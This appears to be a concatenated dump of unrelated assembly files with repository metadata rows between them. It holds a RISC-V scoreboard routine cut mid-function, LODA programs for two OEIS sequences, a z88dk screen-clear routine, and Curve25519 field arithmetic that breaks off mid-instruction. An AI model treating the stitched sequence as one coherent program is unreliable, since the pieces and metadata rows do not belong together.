140 li a6, 25 jal draw_line li a3, 130 li a4, 17 li a5, 140 li a6, 17 jal draw_line beq zero, zero switch.end_2 # ----------- 9------------ switch.neun: li t1,9 bne t0, t1 switch.zehn li a3, 130 li a4, 10 li a5, 130 li a6, 17 jal draw_line li a3, 130 li a4, 10 li a5, 140 li a6, 10 jal draw_line li a3, 140 li a4, 10 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 25 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 17 li a5, 140 li a6, 17 jal draw_line beq zero, zero switch.end_2 # ----------- 10------------ switch.zehn: li t1,10 bne t0, t1 switch.elf # -0---- li a3, 130 li a4, 10 li a5, 130 li a6, 25 jal draw_line li a3, 130 li a4, 10 li a5, 140 li a6, 10 jal draw_line li a3, 140 li a4, 10 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 25 li a5, 140 li a6, 25 jal draw_line # -1--- li a3, 125 li a4, 10 li a5, 125 li a6, 25 jal draw_line beq zero, zero switch.end_2 # ----------- 11----------- switch.elf: li t1,11 bne t0, t1 switch.end_2 # -1---- li a3, 140 li a4, 10 li a5, 140 li a6, 25 jal draw_line # -1--- li a3, 125 li a4, 10 li a5, 125 li a6, 25 jal draw_line beq zero, zero switch.end_2 switch.end_2: lw ra, 24 (sp) addi sp, sp, 28 ret #function to initialize the scoreboard with 0 : 0 init_scoreboard: addi sp, sp, -4 sw ra ,(sp) jal draw_dots li a2,0 jal draw_left_number li a2,0 jal draw_right_number lw ra, (sp) addi sp, sp, 4 ret
15.175258
93
0.553244
a2c07b164dd0e066437570048e470d72e1e0aea5
557
asm
Assembly
oeis/010/A010059.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/010/A010059.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/010/A010059.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A010059: Another version of the Thue-Morse sequence: let A_k denote the first 2^k terms; then A_0 = 1 and for k >= 0, A_{k+1} = A_k B_k, where B_k is obtained from A_k by interchanging 0's and 1's. ; Submitted by Christian Krause ; 1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1 seq $0,120 ; 1's-counting sequence: number of 1's in binary expansion of n (or the binary weight of n). add $0,1 mod $0,2
69.625
201
0.635548
186282701292d591554c6e9011463b92b8b09da1
2,255
asm
Assembly
programs/oeis/100/A100187.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/100/A100187.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/100/A100187.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A100187: Structured octagonal anti-diamond numbers (vertex structure 7). ; 1,18,77,204,425,766,1253,1912,2769,3850,5181,6788,8697,10934,13525,16496,19873,23682,27949,32700,37961,43758,50117,57064,64625,72826,81693,91252,101529,112550,124341,136928,150337,164594,179725,195756,212713,230622,249509,269400,290321,312298,335357,359524,384825,411286,438933,467792,497889,529250,561901,595868,631177,667854,705925,745416,786353,828762,872669,918100,965081,1013638,1063797,1115584,1169025,1224146,1280973,1339532,1399849,1461950,1525861,1591608,1659217,1728714,1800125,1873476,1948793,2026102,2105429,2186800,2270241,2355778,2443437,2533244,2625225,2719406,2815813,2914472,3015409,3118650,3224221,3332148,3442457,3555174,3670325,3787936,3908033,4030642,4155789,4283500,4413801,4546718,4682277,4820504,4961425,5105066,5251453,5400612,5552569,5707350,5864981,6025488,6188897,6355234,6524525,6696796,6872073,7050382,7231749,7416200,7603761,7794458,7988317,8185364,8385625,8589126,8795893,9005952,9219329,9436050,9656141,9879628,10106537,10336894,10570725,10808056,11048913,11293322,11541309,11792900,12048121,12306998,12569557,12835824,13105825,13379586,13657133,13938492,14223689,14512750,14805701,15102568,15403377,15708154,16016925,16329716,16646553,16967462,17292469,17621600,17954881,18292338,18633997,18979884,19330025,19684446,20043173,20406232,20773649,21145450,21521661,21902308,22287417,22677014,23071125,23469776,23872993,24280802,24693229,25110300,25532041,25958478,26389637,26825544,27266225,27711706,28162013,28617172,29077209,29542150,30012021,30486848,30966657,31451474,31941325,32436236,32936233,33441342,33951589,34467000,34987601,35513418,36044477,36580804,37122425,37669366,38221653,38779312,39342369,39910850,40484781,41064188,41649097,42239534,42835525,43437096,44044273,44657082,45275549,45899700,46529561,47165158,47806517,48453664,49106625,49765426,50430093,51100652,51777129,52459550,53147941,53842328,54542737,55249194,55961725,56680356,57405113,58136022,58873109,59616400,60365921,61121698,61883757,62652124,63426825,64207886,64995333,65789192,66589489,67396250 mov $2,$0 mov $3,$0 mov $0,1 mov $1,$3 add $1,$2 lpb $2,1 mul $0,2 add $3,2 add $0,$3 lpb $0,1 sub $0,1 add $1,$3 lpe mov $0,1 sub $2,1 lpe add $1,1
107.380952
2,007
0.841242
4b8f4cef80b83c2ec633b9e21abc0196a4fc6951
475
asm
Assembly
libsrc/graphics/mc1000/clg.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/graphics/mc1000/clg.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/graphics/mc1000/clg.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; ; MC-1000 graphics library ; ; $Id: clg.asm $ ; ;----------- GFX init ------------- SECTION code_clib PUBLIC clg PUBLIC _clg PUBLIC ansi_cls PUBLIC _ansi_cls EXTERN generic_console_ioctl INCLUDE "ioctl.def" .clg ._clg .ansi_cls ._ansi_cls ld hl,1 push hl ld hl,0 add hl,sp ex de,hl ld a,IOCTL_GENCON_SET_MODE call generic_console_ioctl pop hl ret
13.571429
39
0.530526
202da85a21340602649d991b0a83020e6e2a8e13
21,852
asm
Assembly
dist/vale/curve25519-x86_64-msvc.asm
santtu/hacl-star
ade5ee577b26bb4e1fc67c3a207d0982e6a02222
[ "Apache-2.0" ]
1,332
2018-06-25T18:44:25.000Z
2022-03-24T11:54:21.000Z
dist/vale/curve25519-x86_64-msvc.asm
santtu/hacl-star
ade5ee577b26bb4e1fc67c3a207d0982e6a02222
[ "Apache-2.0" ]
311
2018-06-23T20:30:19.000Z
2022-03-31T16:52:05.000Z
dist/vale/curve25519-x86_64-msvc.asm
santtu/hacl-star
ade5ee577b26bb4e1fc67c3a207d0982e6a02222
[ "Apache-2.0" ]
143
2018-08-23T11:43:58.000Z
2022-03-09T11:07:13.000Z
.code ALIGN 16 add_scalar_e proc push rdi push rsi mov rdi, rcx mov rsi, rdx mov rdx, r8 ;# Clear registers to propagate the carry bit xor r8d, r8d xor r9d, r9d xor r10d, r10d xor r11d, r11d xor eax, eax ;# Begin addition chain add rdx, qword ptr [rsi + 0] mov qword ptr [rdi + 0], rdx adcx r8, qword ptr [rsi + 8] mov qword ptr [rdi + 8], r8 adcx r9, qword ptr [rsi + 16] mov qword ptr [rdi + 16], r9 adcx r10, qword ptr [rsi + 24] mov qword ptr [rdi + 24], r10 ;# Return the carry bit in a register adcx rax, r11 pop rsi pop rdi ret add_scalar_e endp ALIGN 16 fadd_e proc push rdi push rsi mov rdi, rcx mov rsi, rdx mov rdx, r8 ;# Compute the raw addition of f1 + f2 mov r8, qword ptr [rdx + 0] add r8, qword ptr [rsi + 0] mov r9, qword ptr [rdx + 8] adcx r9, qword ptr [rsi + 8] mov r10, qword ptr [rdx + 16] adcx r10, qword ptr [rsi + 16] mov r11, qword ptr [rdx + 24] adcx r11, qword ptr [rsi + 24] ;# Wrap the result back into the field ;# Step 1: Compute carry*38 mov rax, 0 mov rdx, 38 cmovc rax, rdx ;# Step 2: Add carry*38 to the original sum xor ecx, ecx add r8, rax adcx r9, rcx mov qword ptr [rdi + 8], r9 adcx r10, rcx mov qword ptr [rdi + 16], r10 adcx r11, rcx mov qword ptr [rdi + 24], r11 ;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point mov rax, 0 cmovc rax, rdx add r8, rax mov qword ptr [rdi + 0], r8 pop rsi pop rdi ret fadd_e endp ALIGN 16 fsub_e proc push rdi push rsi mov rdi, rcx mov rsi, rdx mov rdx, r8 ;# Compute the raw substraction of f1-f2 mov r8, qword ptr [rsi + 0] sub r8, qword ptr [rdx + 0] mov r9, qword ptr [rsi + 8] sbb r9, qword ptr [rdx + 8] mov r10, qword ptr [rsi + 16] sbb r10, qword ptr [rdx + 16] mov r11, qword ptr [rsi + 24] sbb r11, qword ptr [rdx + 24] ;# Wrap the result back into the field ;# Step 1: Compute carry*38 mov rax, 0 mov rcx, 38 cmovc rax, rcx ;# Step 2: Substract carry*38 from the original difference sub r8, rax sbb r9, 0 sbb r10, 0 sbb r11, 0 ;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point mov rax, 0 cmovc rax, rcx sub r8, rax ;# Store the result mov qword ptr [rdi + 0], r8 mov qword ptr [rdi + 8], r9 mov qword ptr [rdi + 16], r10 mov qword ptr [rdi + 24], r11 pop rsi pop rdi ret fsub_e endp ALIGN 16 fmul_scalar_e proc push rdi push r13 push rbx push rsi mov rdi, rcx mov rsi, rdx mov rdx, r8 ;# Compute the raw multiplication of f1*f2 mulx rcx, r8, qword ptr [rsi + 0] ;# f1[0]*f2 mulx rbx, r9, qword ptr [rsi + 8] ;# f1[1]*f2 add r9, rcx mov rcx, 0 mulx r13, r10, qword ptr [rsi + 16] ;# f1[2]*f2 adcx r10, rbx mulx rax, r11, qword ptr [rsi + 24] ;# f1[3]*f2 adcx r11, r13 adcx rax, rcx ;# Wrap the result back into the field ;# Step 1: Compute carry*38 mov rdx, 38 imul rax, rdx ;# Step 2: Fold the carry back into dst add r8, rax adcx r9, rcx mov qword ptr [rdi + 8], r9 adcx r10, rcx mov qword ptr [rdi + 16], r10 adcx r11, rcx mov qword ptr [rdi + 24], r11 ;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point mov rax, 0 cmovc rax, rdx add r8, rax mov qword ptr [rdi + 0], r8 pop rsi pop rbx pop r13 pop rdi ret fmul_scalar_e endp ALIGN 16 fmul_e proc push r13 push r14 push r15 push rbx push rsi push rdi mov rdi, rcx mov rsi, rdx mov r15, r8 mov rcx, r9 ;# Compute the raw multiplication: tmp <- src1 * src2 ;# Compute src1[0] * src2 mov rdx, qword ptr [rsi + 0] mulx r9, r8, qword ptr [rcx + 0] xor r10d, r10d mov qword ptr [rdi + 0], r8 mulx r11, r10, qword ptr [rcx + 8] adox r10, r9 mov qword ptr [rdi + 8], r10 mulx r13, rbx, qword ptr [rcx + 16] adox rbx, r11 mulx rdx, r14, qword ptr [rcx + 24] adox r14, r13 mov rax, 0 adox rax, rdx ;# Compute src1[1] * src2 mov rdx, qword ptr [rsi + 8] mulx r9, r8, qword ptr [rcx + 0] xor r10d, r10d adcx r8, qword ptr [rdi + 8] mov qword ptr [rdi + 8], r8 mulx r11, r10, qword ptr [rcx + 8] adox r10, r9 adcx r10, rbx mov qword ptr [rdi + 16], r10 mulx r13, rbx, qword ptr [rcx + 16] adox rbx, r11 adcx rbx, r14 mov r8, 0 mulx rdx, r14, qword ptr [rcx + 24] adox r14, r13 adcx r14, rax mov rax, 0 adox rax, rdx adcx rax, r8 ;# Compute src1[2] * src2 mov rdx, qword ptr [rsi + 16] mulx r9, r8, qword ptr [rcx + 0] xor r10d, r10d adcx r8, qword ptr [rdi + 16] mov qword ptr [rdi + 16], r8 mulx r11, r10, qword ptr [rcx + 8] adox r10, r9 adcx r10, rbx mov qword ptr [rdi + 24], r10 mulx r13, rbx, qword ptr [rcx + 16] adox rbx, r11 adcx rbx, r14 mov r8, 0 mulx rdx, r14, qword ptr [rcx + 24] adox r14, r13 adcx r14, rax mov rax, 0 adox rax, rdx adcx rax, r8 ;# Compute src1[3] * src2 mov rdx, qword ptr [rsi + 24] mulx r9, r8, qword ptr [rcx + 0] xor r10d, r10d adcx r8, qword ptr [rdi + 24] mov qword ptr [rdi + 24], r8 mulx r11, r10, qword ptr [rcx + 8] adox r10, r9 adcx r10, rbx mov qword ptr [rdi + 32], r10 mulx r13, rbx, qword ptr [rcx + 16] adox rbx, r11 adcx rbx, r14 mov qword ptr [rdi + 40], rbx mov r8, 0 mulx rdx, r14, qword ptr [rcx + 24] adox r14, r13 adcx r14, rax mov qword ptr [rdi + 48], r14 mov rax, 0 adox rax, rdx adcx rax, r8 mov qword ptr [rdi + 56], rax ;# Line up pointers mov rsi, rdi mov rdi, r15 ;# Wrap the result back into the field ;# Step 1: Compute dst + carry == tmp_hi * 38 + tmp_lo mov rdx, 38 mulx r13, r8, qword ptr [rsi + 32] xor ecx, ecx adox r8, qword ptr [rsi + 0] mulx rbx, r9, qword ptr [rsi + 40] adcx r9, r13 adox r9, qword ptr [rsi + 8] mulx r13, r10, qword ptr [rsi + 48] adcx r10, rbx adox r10, qword ptr [rsi + 16] mulx rax, r11, qword ptr [rsi + 56] adcx r11, r13 adox r11, qword ptr [rsi + 24] adcx rax, rcx adox rax, rcx imul rax, rdx ;# Step 2: Fold the carry back into dst add r8, rax adcx r9, rcx mov qword ptr [rdi + 8], r9 adcx r10, rcx mov qword ptr [rdi + 16], r10 adcx r11, rcx mov qword ptr [rdi + 24], r11 ;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point mov rax, 0 cmovc rax, rdx add r8, rax mov qword ptr [rdi + 0], r8 pop rdi pop rsi pop rbx pop r15 pop r14 pop r13 ret fmul_e endp ALIGN 16 fmul2_e proc push r13 push r14 push r15 push rbx push rsi push rdi mov rdi, rcx mov rsi, rdx mov r15, r8 mov rcx, r9 ;# Compute the raw multiplication tmp[0] <- f1[0] * f2[0] ;# Compute src1[0] * src2 mov rdx, qword ptr [rsi + 0] mulx r9, r8, qword ptr [rcx + 0] xor r10d, r10d mov qword ptr [rdi + 0], r8 mulx r11, r10, qword ptr [rcx + 8] adox r10, r9 mov qword ptr [rdi + 8], r10 mulx r13, rbx, qword ptr [rcx + 16] adox rbx, r11 mulx rdx, r14, qword ptr [rcx + 24] adox r14, r13 mov rax, 0 adox rax, rdx ;# Compute src1[1] * src2 mov rdx, qword ptr [rsi + 8] mulx r9, r8, qword ptr [rcx + 0] xor r10d, r10d adcx r8, qword ptr [rdi + 8] mov qword ptr [rdi + 8], r8 mulx r11, r10, qword ptr [rcx + 8] adox r10, r9 adcx r10, rbx mov qword ptr [rdi + 16], r10 mulx r13, rbx, qword ptr [rcx + 16] adox rbx, r11 adcx rbx, r14 mov r8, 0 mulx rdx, r14, qword ptr [rcx + 24] adox r14, r13 adcx r14, rax mov rax, 0 adox rax, rdx adcx rax, r8 ;# Compute src1[2] * src2 mov rdx, qword ptr [rsi + 16] mulx r9, r8, qword ptr [rcx + 0] xor r10d, r10d adcx r8, qword ptr [rdi + 16] mov qword ptr [rdi + 16], r8 mulx r11, r10, qword ptr [rcx + 8] adox r10, r9 adcx r10, rbx mov qword ptr [rdi + 24], r10 mulx r13, rbx, qword ptr [rcx + 16] adox rbx, r11 adcx rbx, r14 mov r8, 0 mulx rdx, r14, qword ptr [rcx + 24] adox r14, r13 adcx r14, rax mov rax, 0 adox rax, rdx adcx rax, r8 ;# Compute src1[3] * src2 mov rdx, qword ptr [rsi + 24] mulx r9, r8, qword ptr [rcx + 0] xor r10d, r10d adcx r8, qword ptr [rdi + 24] mov qword ptr [rdi + 24], r8 mulx r11, r10, qword ptr [rcx + 8] adox r10, r9 adcx r10, rbx mov qword ptr [rdi + 32], r10 mulx r13, rbx, qword ptr [rcx + 16] adox rbx, r11 adcx rbx, r14 mov qword ptr [rdi + 40], rbx mov r8, 0 mulx rdx, r14, qword ptr [rcx + 24] adox r14, r13 adcx r14, rax mov qword ptr [rdi + 48], r14 mov rax, 0 adox rax, rdx adcx rax, r8 mov qword ptr [rdi + 56], rax ;# Compute the raw multiplication tmp[1] <- f1[1] * f2[1] ;# Compute src1[0] * src2 mov rdx, qword ptr [rsi + 32] mulx r9, r8, qword ptr [rcx + 32] xor r10d, r10d mov qword ptr [rdi + 64], r8 mulx r11, r10, qword ptr [rcx + 40] adox r10, r9 mov qword ptr [rdi + 72], r10 mulx r13, rbx, qword ptr [rcx + 48] adox rbx, r11 mulx rdx, r14, qword ptr [rcx + 56] adox r14, r13 mov rax, 0 adox rax, rdx ;# Compute src1[1] * src2 mov rdx, qword ptr [rsi + 40] mulx r9, r8, qword ptr [rcx + 32] xor r10d, r10d adcx r8, qword ptr [rdi + 72] mov qword ptr [rdi + 72], r8 mulx r11, r10, qword ptr [rcx + 40] adox r10, r9 adcx r10, rbx mov qword ptr [rdi + 80], r10 mulx r13, rbx, qword ptr [rcx + 48] adox rbx, r11 adcx rbx, r14 mov r8, 0 mulx rdx, r14, qword ptr [rcx + 56] adox r14, r13 adcx r14, rax mov rax, 0 adox rax, rdx adcx rax, r8 ;# Compute src1[2] * src2 mov rdx, qword ptr [rsi + 48] mulx r9, r8, qword ptr [rcx + 32] xor r10d, r10d adcx r8, qword ptr [rdi + 80] mov qword ptr [rdi + 80], r8 mulx r11, r10, qword ptr [rcx + 40] adox r10, r9 adcx r10, rbx mov qword ptr [rdi + 88], r10 mulx r13, rbx, qword ptr [rcx + 48] adox rbx, r11 adcx rbx, r14 mov r8, 0 mulx rdx, r14, qword ptr [rcx + 56] adox r14, r13 adcx r14, rax mov rax, 0 adox rax, rdx adcx rax, r8 ;# Compute src1[3] * src2 mov rdx, qword ptr [rsi + 56] mulx r9, r8, qword ptr [rcx + 32] xor r10d, r10d adcx r8, qword ptr [rdi + 88] mov qword ptr [rdi + 88], r8 mulx r11, r10, qword ptr [rcx + 40] adox r10, r9 adcx r10, rbx mov qword ptr [rdi + 96], r10 mulx r13, rbx, qword ptr [rcx + 48] adox rbx, r11 adcx rbx, r14 mov qword ptr [rdi + 104], rbx mov r8, 0 mulx rdx, r14, qword ptr [rcx + 56] adox r14, r13 adcx r14, rax mov qword ptr [rdi + 112], r14 mov rax, 0 adox rax, rdx adcx rax, r8 mov qword ptr [rdi + 120], rax ;# Line up pointers mov rsi, rdi mov rdi, r15 ;# Wrap the results back into the field ;# Step 1: Compute dst + carry == tmp_hi * 38 + tmp_lo mov rdx, 38 mulx r13, r8, qword ptr [rsi + 32] xor ecx, ecx adox r8, qword ptr [rsi + 0] mulx rbx, r9, qword ptr [rsi + 40] adcx r9, r13 adox r9, qword ptr [rsi + 8] mulx r13, r10, qword ptr [rsi + 48] adcx r10, rbx adox r10, qword ptr [rsi + 16] mulx rax, r11, qword ptr [rsi + 56] adcx r11, r13 adox r11, qword ptr [rsi + 24] adcx rax, rcx adox rax, rcx imul rax, rdx ;# Step 2: Fold the carry back into dst add r8, rax adcx r9, rcx mov qword ptr [rdi + 8], r9 adcx r10, rcx mov qword ptr [rdi + 16], r10 adcx r11, rcx mov qword ptr [rdi + 24], r11 ;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point mov rax, 0 cmovc rax, rdx add r8, rax mov qword ptr [rdi + 0], r8 ;# Step 1: Compute dst + carry == tmp_hi * 38 + tmp_lo mov rdx, 38 mulx r13, r8, qword ptr [rsi + 96] xor ecx, ecx adox r8, qword ptr [rsi + 64] mulx rbx, r9, qword ptr [rsi + 104] adcx r9, r13 adox r9, qword ptr [rsi + 72] mulx r13, r10, qword ptr [rsi + 112] adcx r10, rbx adox r10, qword ptr [rsi + 80] mulx rax, r11, qword ptr [rsi + 120] adcx r11, r13 adox r11, qword ptr [rsi + 88] adcx rax, rcx adox rax, rcx imul rax, rdx ;# Step 2: Fold the carry back into dst add r8, rax adcx r9, rcx mov qword ptr [rdi + 40], r9 adcx r10, rcx mov qword ptr [rdi + 48], r10 adcx r11, rcx mov qword ptr [rdi + 56], r11 ;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point mov rax, 0 cmovc rax, rdx add r8, rax mov qword ptr [rdi + 32], r8 pop rdi pop rsi pop rbx pop r15 pop r14 pop r13 ret fmul2_e endp ALIGN 16 fsqr_e proc push r15 push r13 push r14 push r12 push rbx push rsi push rdi mov rdi, rcx mov rsi, rdx mov r12, r8 ;# Compute the raw multiplication: tmp <- f * f ;# Step 1: Compute all partial products mov rdx, qword ptr [rsi + 0] ;# f[0] mulx r14, r8, qword ptr [rsi + 8] xor r15d, r15d ;# f[1]*f[0] mulx r10, r9, qword ptr [rsi + 16] adcx r9, r14 ;# f[2]*f[0] mulx rcx, rax, qword ptr [rsi + 24] adcx r10, rax ;# f[3]*f[0] mov rdx, qword ptr [rsi + 24] ;# f[3] mulx rbx, r11, qword ptr [rsi + 8] adcx r11, rcx ;# f[1]*f[3] mulx r13, rax, qword ptr [rsi + 16] adcx rbx, rax ;# f[2]*f[3] mov rdx, qword ptr [rsi + 8] adcx r13, r15 ;# f1 mulx rcx, rax, qword ptr [rsi + 16] mov r14, 0 ;# f[2]*f[1] ;# Step 2: Compute two parallel carry chains xor r15d, r15d adox r10, rax adcx r8, r8 adox r11, rcx adcx r9, r9 adox rbx, r15 adcx r10, r10 adox r13, r15 adcx r11, r11 adox r14, r15 adcx rbx, rbx adcx r13, r13 adcx r14, r14 ;# Step 3: Compute intermediate squares mov rdx, qword ptr [rsi + 0] mulx rcx, rax, rdx ;# f[0]^2 mov qword ptr [rdi + 0], rax add r8, rcx mov qword ptr [rdi + 8], r8 mov rdx, qword ptr [rsi + 8] mulx rcx, rax, rdx ;# f[1]^2 adcx r9, rax mov qword ptr [rdi + 16], r9 adcx r10, rcx mov qword ptr [rdi + 24], r10 mov rdx, qword ptr [rsi + 16] mulx rcx, rax, rdx ;# f[2]^2 adcx r11, rax mov qword ptr [rdi + 32], r11 adcx rbx, rcx mov qword ptr [rdi + 40], rbx mov rdx, qword ptr [rsi + 24] mulx rcx, rax, rdx ;# f[3]^2 adcx r13, rax mov qword ptr [rdi + 48], r13 adcx r14, rcx mov qword ptr [rdi + 56], r14 ;# Line up pointers mov rsi, rdi mov rdi, r12 ;# Wrap the result back into the field ;# Step 1: Compute dst + carry == tmp_hi * 38 + tmp_lo mov rdx, 38 mulx r13, r8, qword ptr [rsi + 32] xor ecx, ecx adox r8, qword ptr [rsi + 0] mulx rbx, r9, qword ptr [rsi + 40] adcx r9, r13 adox r9, qword ptr [rsi + 8] mulx r13, r10, qword ptr [rsi + 48] adcx r10, rbx adox r10, qword ptr [rsi + 16] mulx rax, r11, qword ptr [rsi + 56] adcx r11, r13 adox r11, qword ptr [rsi + 24] adcx rax, rcx adox rax, rcx imul rax, rdx ;# Step 2: Fold the carry back into dst add r8, rax adcx r9, rcx mov qword ptr [rdi + 8], r9 adcx r10, rcx mov qword ptr [rdi + 16], r10 adcx r11, rcx mov qword ptr [rdi + 24], r11 ;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point mov rax, 0 cmovc rax, rdx add r8, rax mov qword ptr [rdi + 0], r8 pop rdi pop rsi pop rbx pop r12 pop r14 pop r13 pop r15 ret fsqr_e endp ALIGN 16 fsqr2_e proc push r15 push r13 push r14 push r12 push rbx push rsi push rdi mov rdi, rcx mov rsi, rdx mov r12, r8 ;# Step 1: Compute all partial products mov rdx, qword ptr [rsi + 0] ;# f[0] mulx r14, r8, qword ptr [rsi + 8] xor r15d, r15d ;# f[1]*f[0] mulx r10, r9, qword ptr [rsi + 16] adcx r9, r14 ;# f[2]*f[0] mulx rcx, rax, qword ptr [rsi + 24] adcx r10, rax ;# f[3]*f[0] mov rdx, qword ptr [rsi + 24] ;# f[3] mulx rbx, r11, qword ptr [rsi + 8] adcx r11, rcx ;# f[1]*f[3] mulx r13, rax, qword ptr [rsi + 16] adcx rbx, rax ;# f[2]*f[3] mov rdx, qword ptr [rsi + 8] adcx r13, r15 ;# f1 mulx rcx, rax, qword ptr [rsi + 16] mov r14, 0 ;# f[2]*f[1] ;# Step 2: Compute two parallel carry chains xor r15d, r15d adox r10, rax adcx r8, r8 adox r11, rcx adcx r9, r9 adox rbx, r15 adcx r10, r10 adox r13, r15 adcx r11, r11 adox r14, r15 adcx rbx, rbx adcx r13, r13 adcx r14, r14 ;# Step 3: Compute intermediate squares mov rdx, qword ptr [rsi + 0] mulx rcx, rax, rdx ;# f[0]^2 mov qword ptr [rdi + 0], rax add r8, rcx mov qword ptr [rdi + 8], r8 mov rdx, qword ptr [rsi + 8] mulx rcx, rax, rdx ;# f[1]^2 adcx r9, rax mov qword ptr [rdi + 16], r9 adcx r10, rcx mov qword ptr [rdi + 24], r10 mov rdx, qword ptr [rsi + 16] mulx rcx, rax, rdx ;# f[2]^2 adcx r11, rax mov qword ptr [rdi + 32], r11 adcx rbx, rcx mov qword ptr [rdi + 40], rbx mov rdx, qword ptr [rsi + 24] mulx rcx, rax, rdx ;# f[3]^2 adcx r13, rax mov qword ptr [rdi + 48], r13 adcx r14, rcx mov qword ptr [rdi + 56], r14 ;# Step 1: Compute all partial products mov rdx, qword ptr [rsi + 32] ;# f[0] mulx r14, r8, qword ptr [rsi + 40] xor r15d, r15d ;# f[1]*f[0] mulx r10, r9, qword ptr [rsi + 48] adcx r9, r14 ;# f[2]*f[0] mulx rcx, rax, qword ptr [rsi + 56] adcx r10, rax ;# f[3]*f[0] mov rdx, qword ptr [rsi + 56] ;# f[3] mulx rbx, r11, qword ptr [rsi + 40] adcx r11, rcx ;# f[1]*f[3] mulx r13, rax, qword ptr [rsi + 48] adcx rbx, rax ;# f[2]*f[3] mov rdx, qword ptr [rsi + 40] adcx r13, r15 ;# f1 mulx rcx, rax, qword ptr [rsi + 48] mov r14, 0 ;# f[2]*f[1] ;# Step 2: Compute two parallel carry chains xor r15d, r15d adox r10, rax adcx r8, r8 adox r11, rcx adcx r9, r9 adox rbx, r15 adcx r10, r10 adox r13, r15 adcx r11, r11 adox r14, r15 adcx rbx, rbx adcx r13, r13 adcx r14, r14 ;# Step 3: Compute intermediate squares mov rdx, qword ptr [rsi + 32] mulx rcx, rax, rdx ;# f[0]^2 mov qword ptr [rdi + 64], rax add r8, rcx mov qword ptr [rdi + 72], r8 mov rdx, qword ptr [rsi + 40] mulx rcx, rax, rdx ;# f[1]^2 adcx r9, rax mov qword ptr [rdi + 80], r9 adcx r10, rcx mov qword ptr [rdi + 88], r10 mov rdx, qword ptr [rsi + 48] mulx rcx, rax, rdx ;# f[2]^2 adcx r11, rax mov qword ptr [rdi + 96], r11 adcx rbx, rcx mov qword ptr [rdi + 104], rbx mov rdx, qword ptr [rsi + 56] mulx rcx, rax, rdx ;# f[3]^2 adcx r13, rax mov qword ptr [rdi + 112], r13 adcx r14, rcx mov qword ptr [rdi + 120], r14 ;# Line up pointers mov rsi, rdi mov rdi, r12 ;# Step 1: Compute dst + carry == tmp_hi * 38 + tmp_lo mov rdx, 38 mulx r13, r8, qword ptr [rsi + 32] xor ecx, ecx adox r8, qword ptr [rsi + 0] mulx rbx, r9, qword ptr [rsi + 40] adcx r9, r13 adox r9, qword ptr [rsi + 8] mulx r13, r10, qword ptr [rsi + 48] adcx r10, rbx adox r10, qword ptr [rsi + 16] mulx rax, r11, qword ptr [rsi + 56] adcx r11, r13 adox r11, qword ptr [rsi + 24] adcx rax, rcx adox rax, rcx imul rax, rdx ;# Step 2: Fold the carry back into dst add r8, rax adcx r9, rcx mov qword ptr [rdi + 8], r9 adcx r10, rcx mov qword ptr [rdi + 16], r10 adcx r11, rcx mov qword ptr [rdi + 24], r11 ;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point mov rax, 0 cmovc rax, rdx add r8, rax mov qword ptr [rdi + 0], r8 ;# Step 1: Compute dst + carry == tmp_hi * 38 + tmp_lo mov rdx, 38 mulx r13, r8, qword ptr [rsi + 96] xor ecx, ecx adox r8, qword ptr [rsi + 64] mulx rbx, r9, qword ptr [rsi + 104] adcx r9, r13 adox r9, qword ptr [rsi + 72] mulx r13, r10, qword ptr [rsi + 112] adcx r10, rbx adox r10, qword ptr [rsi + 80] mulx rax, r11, qword ptr [rsi + 120] adcx r11, r13 adox r11, qword ptr [rsi + 88] adcx rax, rcx adox rax, rcx imul rax, rdx ;# Step 2: Fold the carry back into dst add r8, rax adcx r9, rcx mov qword ptr [rdi + 40], r9 adcx r10, rcx mov qword ptr [rdi + 48], r10 adcx r11, rcx mov qword ptr [rdi + 56], r11 ;# Step 3: Fold the carry bit back in; guaranteed not to carry at this point mov rax, 0 cmovc rax, rdx add r8, rax mov qword ptr [rdi + 32], r8 pop rdi pop rsi pop rbx pop r12 pop r14 pop r13 pop r15 ret fsqr2_e endp ALIGN 16 cswap2_e proc push rdi push rsi mov rdi, rcx mov rsi, rdx mov rdx, r8 ;# Transfer bit into CF flag add rdi, 18446744073709551615 ;# cswap p1[0], p2[0] mov r8, qword ptr [rsi + 0] mov r9, qword ptr [rdx + 0] mov r10, r8 cmovc 